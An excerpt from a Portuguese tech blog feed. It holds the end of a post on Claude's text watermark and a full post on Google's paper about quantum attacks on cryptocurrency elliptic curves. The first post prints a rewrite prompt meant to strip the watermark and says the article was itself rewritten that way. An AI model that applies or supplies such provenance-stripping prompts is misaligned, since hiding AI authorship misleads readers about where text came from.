<p>Dois poréns honestos. A reescrita precisa ser genuína, palavra por palavra; uma passada de corretor ortográfico fica longe de contar. E tudo isso vale pro watermark de texto: arquivos e imagens carregam o tal metadado C2PA, que sai por outro método, limpando os metadados do arquivo.</p>
<h2>Que prompt faria isso<span class="hx:absolute hx:-mt-20" id="que-prompt-faria-isso"></span>
    <a href="#que-prompt-faria-isso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Somando os critérios do watermark, o prompt de remoção quase se monta sozinho. A marca habita escolhas de sinônimo e de estrutura, resiste a edição leve e depende de texto com certa extensão. Logo, o prompt precisa exigir troca máxima de vocabulário e de estrutura, segurando o sentido no lugar.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Reescreva o texto a seguir na íntegra, com palavras suas.
</span></span><span class="line"><span class="cl">Substitua o vocabulário e reorganize as frases do início ao fim:
</span></span><span class="line"><span class="cl">escolha outros sinônimos, mude a ordem das orações, varie a construção.
</span></span><span class="line"><span class="cl">Mantenha exatamente o sentido, os fatos e o tom.
</span></span><span class="line"><span class="cl">Evite reproduzir qualquer expressão literal do original.
</span></span><span class="line"><span class="cl">Entregue somente o texto reescrito.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Texto:
</span></span><span class="line"><span class="cl">&#34;&#34;&#34;
</span></span><span class="line"><span class="cl">&lt;cole aqui o texto do Claude&gt;
</span></span><span class="line"><span class="cl">&#34;&#34;&#34;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Cada linha mira um critério. &ldquo;Com palavras suas&rdquo; e &ldquo;substitua o vocabulário&rdquo; desmontam os encontros de sinônimo onde a marca se esconde. &ldquo;Reorganize as frases&rdquo; e &ldquo;mude a ordem das orações&rdquo; quebram a sequência de palavras que o detector compara. &ldquo;Evite reproduzir expressão literal&rdquo; tapa as frestas que uma edição leve deixaria abertas.</p>
<p>Nada de mágica aqui, e é assim por desenho. A Anthropic conhece o limite e fala claro: a marca é macia, atesta que o Claude encostou no texto e desaparece diante de uma reescrita séria. Funciona como rótulo de proveniência num mundo em que a maioria jamais vai se dar ao trabalho de apagar; contra quem decide apagar, o sinal é fraco.</p>
<h2>Onde isso deixa a gente<span class="hx:absolute hx:-mt-20" id="onde-isso-deixa-a-gente"></span>
    <a href="#onde-isso-deixa-a-gente" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No meu balanço, o watermark assusta menos e pode menos do que os dois lados do berreiro anunciam. Ele é invisível, carrega zero dado seu e prova, no limite, que o Claude passou pelo texto. Uma reescrita em qualquer modelo o dissolve. É um rótulo de proveniência deliberadamente fraco, desenhado pra cumprir a lei europeia.</p>
<p>Ainda assim, cancelar por causa dele segue uma lógica que entendo. Marcação compulsória, planetária, sem porta de saída, irrita quem paga pela ferramenta. E dos cerca de 190 signatários do Código europeu, o Claude foi o que chegou primeiro às manchetes, absorvendo sozinho a onda de revolta.</p>
<p>Quem só quer usar o Claude e seguir a vida quase não sente diferença no dia a dia. Quem precisa que o texto não grite &ldquo;IA&rdquo; resolve com um parágrafo reescrito num modelo local, e a receita está com a própria Anthropic. O barulho ficou bem maior que o buraco.</p>
<h2>Como este texto foi feito<span class="hx:absolute hx:-mt-20" id="como-este-texto-foi-feito"></span>
    <a href="#como-este-texto-foi-feito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Transparência combina com o assunto. O primeiro rascunho deste artigo foi escrito pelo Claude. Em seguida o Kimi fez a checagem de fatos, afirmação por afirmação, contra as fontes originais, e pegou uma estatística inventada no meio do caminho, que a gente corrigiu. Por fim, o GLM reescreveu o texto inteiro, palavra por palavra, seguindo a receita das seções acima.</p>
<p>Ou seja: o artigo aplica nele mesmo o que ensina. Saiu do Claude, passou pelo crivo do Kimi e voltou com o vocabulário e a construção do GLM. Se o rascunho original carregava o watermark, a reescrita completa trocou as escolhas de palavra, e com elas o sinal. Sem detector público, ninguém consegue conferir de fora; a receita, essa, qualquer um pode testar.</p>
]]></content:encoded><category>llms</category><category>seguranca</category><category>leis-e-regulacao</category></item><item><title>O que significa o Paper do Google sobre Vulnerabilidade Quântica</title><link>https://akitaonrails.github.io/2026/08/16/o-que-significa-o-paper-do-google-sobre-vulnerabilidade-quantica/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/16/o-que-significa-o-paper-do-google-sobre-vulnerabilidade-quantica/</guid><pubDate>Sun, 16 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Saiu um paper do Google e a manchete previsível veio junto: &amp;ldquo;computador quântico vai quebrar o Bitcoin&amp;rdquo;. Do outro lado, a turma do &amp;ldquo;isso é FUD, ignora&amp;rdquo; respondeu no mesmo volume. As duas reações estão erradas, e o paper em si é bem mais interessante que qualquer um dos dois gritos.&lt;/p&gt;
&lt;p&gt;O documento se chama &lt;a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener"&gt;Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities&lt;/a&gt;, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar &lt;a href="https://pt.wikipedia.org/wiki/RSA_%28sistema_criptogr%C3%A1fico%29"target="_blank" rel="noopener"&gt;RSA&lt;/a&gt;), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da &lt;a href="https://pt.wikipedia.org/wiki/Criptografia_de_curva_el%C3%ADptica"target="_blank" rel="noopener"&gt;criptografia de curva elíptica&lt;/a&gt;). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Saiu um paper do Google e a manchete previsível veio junto: &ldquo;computador quântico vai quebrar o Bitcoin&rdquo;. Do outro lado, a turma do &ldquo;isso é FUD, ignora&rdquo; respondeu no mesmo volume. As duas reações estão erradas, e o paper em si é bem mais interessante que qualquer um dos dois gritos.</p>
<p>O documento se chama <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities</a>, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar <a href="https://pt.wikipedia.org/wiki/RSA_%28sistema_criptogr%C3%A1fico%29"target="_blank" rel="noopener">RSA</a>), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da <a href="https://pt.wikipedia.org/wiki/Criptografia_de_curva_el%C3%ADptica"target="_blank" rel="noopener">criptografia de curva elíptica</a>). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.</p>
<p>Antes de qualquer coisa: <strong>leia o paper direto</strong>. Ele é longo, denso, mas escrito com um cuidado raro, inclusive num esforço explícito de não virar FUD.</p>
<p>O que eu faço aqui é minha própria leitura, depois comparo com o que o GLM, o Kimi e o ChatGPT acharam quando pedi pra eles rasgarem o texto, e no fim tento responder a pergunta que interessa pra quem tem meia dúzia de satoshis ou de ether na carteira: qual é, no mundo real, a chance de um computador quântico roubar dinheiro seu nos próximos anos?</p>
<p>Adianto o espírito da coisa: o céu não está caindo. Mas o recado de &ldquo;comece a se mexer agora&rdquo; tem fundamento, e a razão é mais sutil do que &ldquo;o quântico vem aí&rdquo;.</p>
<p>O resumo, pra quem tem pressa:</p>
<ul>
<li><strong>O paper é sério e a conta fecha.</strong> Google, Ethereum Foundation e Stanford mostram que quebrar a secp256k1 caiu pra menos de 500 mil qubits físicos e cerca de 9 minutos, num cenário condicional já confirmado por reprodução aberta e independente.</li>
<li><strong>Isso mede o tamanho da máquina; a data continua em aberto.</strong> O melhor hardware de hoje trabalha com uns 12 qubits lógicos, e o ataque pede mais de 1.200. Pelo roteiro da IBM, o hardware do tamanho certo aparece lá por 2033.</li>
<li><strong>O Bitcoin não vai acabar.</strong> O risco atinge quem tem a chave pública exposta, um subconjunto de endereços (uns 6,9 milhões de BTC, boa parte já perdida). Carteira moderna sem reuso fica segura em repouso, e a mineração não corre risco nenhum.</li>
<li><strong>O que dá pra fazer.</strong> Como usuário, higiene de chave: endereço novo a cada uso, sem reuso (senha mais forte não ajuda contra o quântico). Como indústria, começar a migração pós-quântica agora, em camadas, sem jogar tudo fora.</li>
</ul>
<p>Abaixo, cada um desses pontos com calma: o que o paper diz, onde eu concordo e discordo dos outros modelos, a chance real com prazos, e o que fazer na prática.</p>
<h2>O que o paper realmente diz, em português de engenheiro<span class="hx:absolute hx:-mt-20" id="o-que-o-paper-realmente-diz-em-português-de-engenheiro"></span>
    <a href="#o-que-o-paper-realmente-diz-em-portugu%c3%aas-de-engenheiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Deixa eu tirar o jargão da frente primeiro. A segurança do Bitcoin, do Ethereum e de quase toda cripto se apoia num problema matemático: dado uma chave pública, é inviável calcular a chave privada correspondente. Todo mundo vê sua chave pública; ninguém consegue voltar dela pra sua chave privada. É essa mão única que faz uma assinatura digital valer alguma coisa.</p>
<p>O <a href="https://pt.wikipedia.org/wiki/Algoritmo_de_Shor"target="_blank" rel="noopener">algoritmo de Shor</a>, rodando num computador quântico grande o suficiente, quebra exatamente essa mão única. Ele transforma &ldquo;inviável&rdquo; em &ldquo;questão de minutos&rdquo;. Isso não é novidade desde 1994. A novidade do paper é outra, e são cinco pontos.</p>
<p><strong>Primeiro: o custo despencou.</strong> O time do Google apresenta circuitos novos pra resolver o problema da curva <a href="https://en.bitcoin.it/wiki/Secp256k1"target="_blank" rel="noopener">secp256k1</a> (a curva do Bitcoin e das contas do Ethereum) usando muito menos recurso do que se imaginava. São duas receitas: uma com menos de 1.200 qubits lógicos e 90 milhões de portas Toffoli, outra com menos de 1.450 qubits lógicos e 70 milhões de portas.</p>
<p>Em hardware supercondutor, com premissas padrão de correção de erro, isso caberia em <strong>menos de 500 mil qubits físicos</strong> — quase 20 vezes menos que estimativas anteriores — e rodaria em <strong>9 a 12 minutos</strong> a partir de um estado pré-computado. Guarde esse número: 9 minutos. Ele é o que assusta, porque é menor que o intervalo médio de um bloco do Bitcoin.</p>
<p><strong>Segundo: eles não publicaram o circuito.</strong> Aqui tem uma jogada elegante e polêmica ao mesmo tempo. Pra provar que têm um circuito daquele tamanho sem entregar a arma carregada pra qualquer um, eles publicaram uma <strong><a href="https://pt.wikipedia.org/wiki/Prova_de_conhecimento_zero"target="_blank" rel="noopener">prova de conhecimento zero</a></strong>: uma prova matemática de que possuem o circuito, sem revelar o circuito. É responsável na intenção. Só que, como eu conto mais pra frente, essa parte foi o ponto mais frágil da história.</p>
<p>Se &ldquo;prova de conhecimento zero&rdquo; soa esotérico, a ideia é simples e velha na criptografia: provar que você sabe ou tem alguma coisa sem revelar a coisa em si. Dá pra provar que você é maior de idade sem mostrar a data de nascimento, ou que sabe a senha sem digitá-la.</p>
<p>É o mesmo truque por trás da privacidade de várias criptomoedas: o Zcash usa ZK (os tais zk-SNARKs) pra validar transações blindadas sem expor valor nem endereço, o Monero usa provas de faixa (os bulletproofs) pra esconder quanto foi enviado, e os zk-rollups do Ethereum usam ZK pra comprovar que um lote de transações é válido sem reprocessar tudo. No paper, o Google usa a mesma família de ferramenta pra provar que possui o circuito, sem entregar o circuito.</p>
<p><strong>Terceiro: nem todo computador quântico serve pra tudo.</strong> O paper cria uma distinção que é a melhor contribuição prática do texto. Existe o &ldquo;relógio rápido&rdquo; (supercondutor, fotônico) e o &ldquo;relógio lento&rdquo; (íons aprisionados, átomos neutros), com uma diferença de 100 a 1.000 vezes na velocidade. Dessa velocidade saem três tipos de ataque:</p>
<ul>
<li><strong>Ataque no gasto (on-spend):</strong> o atacante intercepta sua transação no mempool, quebra a chave e injeta uma transação rival antes do seu gasto entrar num bloco. Precisa de relógio rápido, porque é uma corrida contra o relógio do bloco.</li>
<li><strong>Ataque em repouso (at-rest):</strong> a chave pública já está exposta na blockchain (carteira parada, chave reusada). O atacante tem dias ou meses pra trabalhar. Serve até relógio lento.</li>
<li><strong>Ataque na configuração (on-setup):</strong> uma única computação quântica extrai um segredo de uma cerimônia criptográfica e vira um gabarito reutilizável, que depois roda em computador clássico comum. Esse é o mais insidioso, e ataca coisas como o mecanismo de dados do Ethereum.</li>
</ul>
<p><strong>Quarto: o mapa de quem sangra.</strong> No Bitcoin, os alvos em repouso são os scripts antigos <a href="https://en.bitcoin.it/wiki/Script"target="_blank" rel="noopener">P2PK</a> (cerca de 1,7 milhão de BTC, quase tudo da era Satoshi e provavelmente perdido), o <a href="https://bitcoinops.org/en/topics/taproot/"target="_blank" rel="noopener">Taproot</a> (P2TR, que expõe a chave), e qualquer endereço reusado.</p>
<p>Somando tudo, o paper estima cerca de 6,9 milhões de BTC vulneráveis hoje, dos quais uns 2,3 milhões estão dormentes há mais de cinco anos. Os endereços modernos que escondem a chave atrás de um hash e nunca gastaram continuam seguros em repouso.</p>
<p>E tem uma boa notícia enterrada aqui: <strong>a mineração do Bitcoin não corre risco</strong>. O <a href="https://pt.wikipedia.org/wiki/Algoritmo_de_Grover"target="_blank" rel="noopener">algoritmo de Grover</a>, que atacaria a mineração, tem ganho pequeno demais e não paraleliza; o overhead de correção de erro come tudo. O paper enterra esse mito de propósito.</p>
<blockquote>
  <p><strong>A mineração do Bitcoin não corre risco. O quântico derrubando o Proof-of-Work é o mito que este paper enterra de propósito.</strong></p>

</blockquote>
<p><strong>Quinto: o Ethereum tem uma superfície bem maior.</strong> O modelo de contas expõe a chave pública permanentemente depois da primeira transação, ao contrário do modelo de UTXO do Bitcoin. Some a isso as chaves administrativas de contratos (stablecoins, pontes, oráculos), as <a href="https://en.wikipedia.org/wiki/BLS_digital_signature"target="_blank" rel="noopener">assinaturas BLS</a> que seguram o consenso <a href="https://pt.wikipedia.org/wiki/Prova_de_participa%C3%A7%C3%A3o"target="_blank" rel="noopener">Proof-of-Stake</a>, e os <a href="https://dankradfeist.de/ethereum/2020/06/16/kate-polynomial-commitments.html"target="_blank" rel="noopener">compromissos KZG</a> da camada de dados. É mais coisa exposta, e boa parte não dá pra &ldquo;trocar de endereço&rdquo; pra escapar.</p>
<p>E como o paper argumenta tudo isso? Três pernas: as estimativas de recurso (com a prova de conhecimento zero pra dar credibilidade), dados reais da blockchain (as quantidades de BTC e ETH em risco vêm de consultas públicas ao <a href="https://en.wikipedia.org/wiki/BigQuery"target="_blank" rel="noopener">BigQuery</a>), e o enquadramento honesto de que o objetivo é acender o alerta pra migrar, deixando claro que a máquina ainda está por vir.</p>
<p>O paper, aliás, <strong>não dá uma data</strong>. Ele mede o tamanho da máquina e para aí; o calendário fica em aberto.</p>
<h2>Onde eu concordo e onde discordo dos outros modelos<span class="hx:absolute hx:-mt-20" id="onde-eu-concordo-e-onde-discordo-dos-outros-modelos"></span>
    <a href="#onde-eu-concordo-e-onde-discordo-dos-outros-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pedi pro GLM 5.3, pro Kimi K3 e pro ChatGPT (GPT 5.6) analisarem e criticarem o paper. O interessante é que os três, e eu, convergimos no essencial e divergimos exatamente nos mesmos pontos. Isso é um bom sinal: quando modelos diferentes batem no mesmo prego, o prego costuma existir.</p>
<p><strong>No que todo mundo concorda (e eu também):</strong></p>
<ul>
<li>A estimativa de recurso lógico é <strong>crível</strong>. Não é um número solto: segue a trajetória histórica (o custo pra quebrar RSA-2048 caiu de ~1 bilhão de qubits em 2012 pra menos de 1 milhão em 2025) e vem justamente do grupo que produziu as melhores estimativas da área.</li>
<li>A distinção relógio rápido / relógio lento e o par gasto / repouso é a lente certa pra pensar mitigação.</li>
<li>A imunidade da mineração é correta e precisava ser dita em voz alta.</li>
<li>Os assets dormentes são um problema real que nenhum fork de software resolve sozinho, porque ninguém tem a chave privada pra mover as moedas perdidas.</li>
</ul>
<p><strong>No que todo mundo faz ressalva (e eu reforço):</strong></p>
<p>O ChatGPT foi o mais preciso numa distinção que vale ouro: <strong>existe um abismo entre &ldquo;valor em risco&rdquo; e &ldquo;perda esperada&rdquo;</strong>. Quando o paper diz &ldquo;20,5 milhões de ETH em contas vulneráveis&rdquo; ou &ldquo;6,9 milhões de BTC expostos&rdquo;, isso mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.</p>
<p>Tem sobreposição, tem multisig, tem chave administrativa que dá pra rotacionar, tem contrato com conselho de emergência que pausa tudo. Empilhar esses números numa manchete de &ldquo;trilhões em risco&rdquo; é desonesto com o próprio paper.</p>
<blockquote>
  <p><strong>&ldquo;Valor em risco&rdquo; mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.</strong></p>

</blockquote>
<p>O mesmo vale pro famoso <strong>41% de chance de roubo no Bitcoin</strong>. Esse número é só a probabilidade de a computação de 9 minutos terminar antes do próximo bloco aparecer (o bloco chega em média a cada 10 minutos, mas com muita variância). Não é a chance de roubar seu dinheiro.</p>
<p>Pra roubar, o atacante ainda precisa propagar a transação rival, convencer um minerador a incluí-la, vencer a corrida de taxa. E o próprio paper assume condições favoráveis ao atacante (rede sem congestionamento, entrega instantânea). Kimi e ChatGPT batem nisso, e eu concordo.</p>
<p>O ponto mais importante, e que eu acho que o paper deixa nas entrelinhas de propósito: <strong>os 500 mil qubits físicos e os 9 minutos descrevem um cenário de engenharia condicional. De data, o paper não fala.</strong> É um projeto de máquina que <em>poderia</em> fazer o ataque, assumindo taxa de erro de 0,1%, ciclos de correção de 1 microssegundo, decodificação de baixa latência, fábricas de estado mágico suficientes, e meio milhão de qubits operando estáveis por minutos a fio.</p>
<p>Cada premissa é razoável isolada. A corrente inteira funcionando junta, nessa escala, ninguém demonstrou.</p>
<p>E aqui entra o ponto mais interessante, que o Kimi e o ChatGPT pegaram e eu confirmei buscando fora: <strong>o mecanismo da prova de conhecimento zero tinha um bug.</strong> A Trail of Bits <a href="https://blog.trailofbits.com/2026/04/17/we-beat-googles-zero-knowledge-proof-of-quantum-cryptanalysis/"target="_blank" rel="noopener">conseguiu forjar uma prova</a> explorando falhas de memória e de lógica no código Rust do verificador do Google, a ponto de gerar uma prova que reportava zero portas Toffoli pra um circuito que nem era reversível.</p>
<p>Repare no que isso quebra e no que não quebra. O furo estava no software que checa a prova, não numa demonstração de que o circuito do paper está errado. A prova deixou de ser confiável, e a alegação científica em si ficou de pé, sem prova nem contraprova. O Google corrigiu o verificador na versão 2.</p>
<p>A lição é sobre confiança: em vez de confiar na palavra do Google, a prova te pedia pra confiar no parser, no compilador e no simulador dele.</p>
<p>E é justamente por isso que a reprodução independente importa tanto. Em junho de 2026, o pesquisador André Schrottenloher <a href="https://postquantum.com/security-pqc/google-ecdlp-circuits-reproduced-open/"target="_blank" rel="noopener">refez os circuitos de forma aberta</a>, chegando na mesma região: cerca de 56 milhões de portas Toffoli, com o circuito inteiro publicado e reproduzível.</p>
<p>O próprio Gidney reconheceu que a reprodução capturou o avanço essencial, e depois disso outros já empurraram o número pra baixo de mil qubits lógicos. Ou seja: a alegação central do paper se sustentou, mas por um caminho que não depende de confiar no software de prova de ninguém. Quem fechou a conta foi a ciência aberta.</p>
<p>Um último ponto que quase ninguém levanta e eu acho que precisa ser dito: <strong>conflito de interesse.</strong> Sete autores são do Google Quantum AI, cujo roteiro de hardware é justamente a arquitetura supercondutora que o paper faz parecer a ameaça mais próxima. E tem um coautor da Ethereum Foundation num paper que classifica o Ethereum como mais exposto e recomenda migração urgente.</p>
<p>Os autores declaram posições compradas em cripto e nenhuma vendida, o que é honesto. Isso não invalida nada — a competência técnica do time é a melhor da área — mas pede leitura calibrada, de cabeça fria.</p>
<h2>A pergunta que interessa: qual a chance real, e quando?<span class="hx:absolute hx:-mt-20" id="a-pergunta-que-interessa-qual-a-chance-real-e-quando"></span>
    <a href="#a-pergunta-que-interessa-qual-a-chance-real-e-quando" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Vamos separar o teórico do real, que é onde a maioria das discussões vira sopa.</p>
<p><strong>No teórico, a resposta é sim, com folga.</strong> Se existir uma máquina grande e estável o suficiente, o algoritmo de Shor quebra a secp256k1. Do lado matemático já está resolvido; o que falta é engenharia. A pergunta toda se resume a: <em>quando essa máquina existe?</em></p>
<h3>Qubit físico contra qubit lógico<span class="hx:absolute hx:-mt-20" id="qubit-físico-contra-qubit-lógico"></span>
    <a href="#qubit-f%c3%adsico-contra-qubit-l%c3%b3gico" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Aqui vale um parêntese pra separar dois números que confundem quase todo mundo: qubit físico e qubit lógico. O qubit físico é o hardware real, e ele é ruidoso; perde o estado num piscar, por interferência, calor, vibração. Sozinho, erra demais pra qualquer conta séria.</p>
<p>A saída é a correção de erro: você junta centenas ou milhares de qubits físicos, todos representando <strong>um</strong> único qubit lógico, e usa a redundância pra detectar e consertar os erros em tempo real. O qubit lógico é o qubit &ldquo;de verdade&rdquo;, estável, que o algoritmo enxerga.</p>
<p>E é aí que a dificuldade se esconde atrás dos números. O ataque não pede só 1.200 qubits lógicos; pede <strong>1.200 qubits lógicos funcionando juntos, todos estáveis ao mesmo tempo, por minutos a fio</strong>, executando dezenas de milhões de operações sem que o sistema de correção seja soterrado por erro.</p>
<p>É como manter mil pratos girando de uma vez, cada prato feito de mil peças que querem cair, durante a apresentação inteira. Manter um único prato desses de pé por um instante já foi o feito histórico de 2024. O salto pra mil pratos, girando por minutos, é o abismo de verdade.</p>
<h3>Onde o hardware está hoje<span class="hx:absolute hx:-mt-20" id="onde-o-hardware-está-hoje"></span>
    <a href="#onde-o-hardware-est%c3%a1-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>Na realidade de hoje, estamos longe.</strong> O próprio Google ajuda a medir a distância. O <a href="https://blog.google/innovation-and-ai/technology/research/google-willow-quantum-chip/"target="_blank" rel="noopener">Willow</a>, o chip de ponta deles, provou em 2024 correção de erro abaixo do limiar, um feito histórico. Só que o resultado foi <strong>um único qubit lógico</strong> bem corrigido, montado a partir de 101 físicos, que viveu mais que qualquer um deles.</p>
<p>Se a régua for quantidade de qubits lógicos rodando juntos, o recorde público hoje anda perto de uma dúzia (a <a href="https://en.wikipedia.org/wiki/Quantinuum"target="_blank" rel="noopener">Quantinuum</a> chegou a 12). O paper pede mais de 1.200. Nas duas réguas, qualidade e quantidade, a distância fica na casa das cem vezes, e cada qubit lógico ainda custa milhares de qubits físicos com a estabilidade que falta.</p>
<p>Em qubits físicos, o maior sistema anunciado está na casa dos milhares; o ataque quer quase meio milhão. São várias ordens de grandeza de distância, em várias dimensões ao mesmo tempo. Nada que um ajuste fino resolva.</p>
<blockquote>
  <p><strong>Hoje o melhor hardware trabalha com qubits lógicos na casa da dúzia. O ataque pede mais de mil. A distância é de ordens de grandeza.</strong></p>

</blockquote>
<p>Tem ainda uma aposta que foge desse jogo de força bruta: a topológica, da Microsoft. A ideia é um qubit protegido por hardware, naturalmente mais resistente a erro, o que reduziria muito a conta de qubits físicos por lógico. O <a href="https://www.forbes.com/sites/moorinsights/2026/07/16/microsoft-doubles-down-on-topological-qubits-with-majorana-2-chip/"target="_blank" rel="noopener">Majorana 2</a>, de 2026, trocou o alumínio por chumbo e pulou a coerência de milissegundos pra 20 segundos, e a Microsoft antecipou a meta de tolerância a falhas de 2033 pra 2029.</p>
<p>Só que é a aposta mais contestada de todas. Boa parte da comunidade duvida que exista um qubit topológico funcionando de verdade ali; o paper mais recente mostra só metade das medições que provariam o qubit. Se der certo, é atalho pra todo mundo; se não, é beco sem saída. Eu destrinchei esse caso <a href="/2026/07/12/noticias-quanticas-majorana-2-e-entendendo-shor/">num artigo à parte</a>.</p>
<h3>Os roteiros e os prazos<span class="hx:absolute hx:-mt-20" id="os-roteiros-e-os-prazos"></span>
    <a href="#os-roteiros-e-os-prazos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>No futuro próximo, aí mora a discussão de verdade.</strong> O jeito honesto de falar disso é por estimativa, porque certeza ninguém tem aqui. A referência mais citada é o <a href="https://globalriskinstitute.org/publication/quantum-threat-timeline/"target="_blank" rel="noopener">Quantum Threat Timeline do Global Risk Institute</a>, uma pesquisa anual com especialistas da área.</p>
<p>A edição de 2025 dá algo como <strong>34% de chance de um computador quântico criptograficamente relevante até ~2030 e ~49% até ~2035</strong>, com a mediana das opiniões caindo entre 2029 e 2032. E essas estimativas são pra um CRQC genérico, tipicamente pensado pra quebrar RSA-2048.</p>
<p>Do lado de quem fabrica, o roteiro mais explícito é o <a href="https://www.ibm.com/roadmaps/quantum/"target="_blank" rel="noopener">da IBM</a>. Ele prevê o Starling em 2029, a primeira máquina tolerante a falhas de larga escala, com 200 qubits lógicos e 100 milhões de operações.</p>
<p>Repare que 200 ainda fica abaixo dos mais de 1.200 que o ataque pede. A máquina do tamanho certo só aparece no passo seguinte, o Blue Jay, marcado pra 2033, com 2.000 qubits lógicos e 1 bilhão de operações.</p>
<p>Pelo próprio roteiro mais agressivo da indústria, então, o hardware com qubits lógicos suficientes pra ameaçar a secp256k1 chega lá por 2033, com a ressalva de sempre: roteiro de quântica escorrega. A IBM aposta em códigos <a href="https://errorcorrectionzoo.org/c/qldpc"target="_blank" rel="noopener">qLDPC</a> pra isso, que reduzem em cerca de 90% os qubits físicos por trás de cada lógico ante o surface code do Willow.</p>
<p>E a China? Ela está lado a lado na fronteira, o que derruba a ideia de corrida de um cavalo só. O <a href="https://quantumzeitgeist.com/zuchongzhi-3-google-quantum-error-correction/"target="_blank" rel="noopener">Zuchongzhi 3.2</a>, da USTC, cruzou em 2025 o mesmo limiar de correção de erro do Willow, com um qubit lógico de superfície na distância 7, e foi o primeiro time fora dos EUA a chegar lá.</p>
<p>Mas repare que é o mesmo marco: um único qubit lógico bem corrigido, o mesmo abismo de cem vezes até os 1.200. E, no público, a China ainda não colocou na mesa um roteiro datado pra máquina grande como o da IBM; o plano declarado é incremental, empurrar a distância do código pra 9 e 11. Na ciência de fronteira, empatam; num calendário até a máquina que quebra cripto, ninguém dos dois lados tem uma data fácil.</p>
<p>Um aviso sobre todas essas datas: elas são o melhor cenário, com cada roteiro publicado entregando no prazo. Roteiro é declaração de intenção, e o histórico da computação quântica é de prazos que escorregam pra frente.</p>
<p>Vou além, e aqui é opinião minha: eu aposto num prazo pelo menos uma ordem de grandeza maior que esses roteiros. Manter milhares de qubits lógicos em sincronia, sem erro, por minutos seguidos, é um problema tudo menos linear. Sinto que cada qubit lógico a mais deixa o conjunto exponencialmente mais difícil de segurar junto: a dificuldade de sincronizar multiplica a cada peça nova, em vez de só somar.</p>
<h3>Minha leitura, em números<span class="hx:absolute hx:-mt-20" id="minha-leitura-em-números"></span>
    <a href="#minha-leitura-em-n%c3%bameros" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Colando isso na realidade específica da cripto, minha leitura em números redondos, tomando os roteiros pelo valor de face (bem mais otimista que a minha aposta ali de cima), e sempre como estimativa e opinião:</p>
<ul>
<li><strong>Nos próximos 2 a 3 anos (até ~2029):</strong> perto de zero. Sair de 12 pra 1.200 qubits lógicos estáveis nesse prazo não está em nenhum roteiro público sério.</li>
<li><strong>No horizonte 2030–2032:</strong> baixo, mas não desprezível. Talvez 10% a 20% de a máquina existir <em>em princípio</em>. A chance de roubo de fato é ainda menor, porque os alvos de maior valor (exchanges, carteiras modernas) terão se mexido antes.</li>
<li><strong>Lá por 2035:</strong> aí a moeda vira coin flip pra um CRQC genérico, na casa dos 40% a 50% segundo os especialistas. Só que &ldquo;existe um CRQC&rdquo; não é o mesmo que &ldquo;roubaram seu dinheiro&rdquo;. Até lá, a migração já deveria estar bem andada.</li>
</ul>
<p>O detalhe que decide tudo, e que o Mosca resume num teorema simples: o que importa é <strong>a data da máquina menos o tempo que a sua migração leva</strong>. Se migrar leva anos, e a máquina pode chegar em cinco a dez, você já está no aperto, mesmo com probabilidade baixa no curto prazo. É por isso que &ldquo;comece agora&rdquo; faz sentido mesmo com o céu limpo. Gestão de risco assimétrico, com a cabeça fria.</p>
<h2>Por que isso não é &ldquo;acabou, tá tudo perdido&rdquo;<span class="hx:absolute hx:-mt-20" id="por-que-isso-não-é-acabou-tá-tudo-perdido"></span>
    <a href="#por-que-isso-n%c3%a3o-%c3%a9-acabou-t%c3%a1-tudo-perdido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Mesmo no cenário de uma máquina pronta e um atacante mal-intencionado, o estrago é cirúrgico, atinge alvos específicos em vez de apagar tudo. E o porquê é simples de entender.</p>
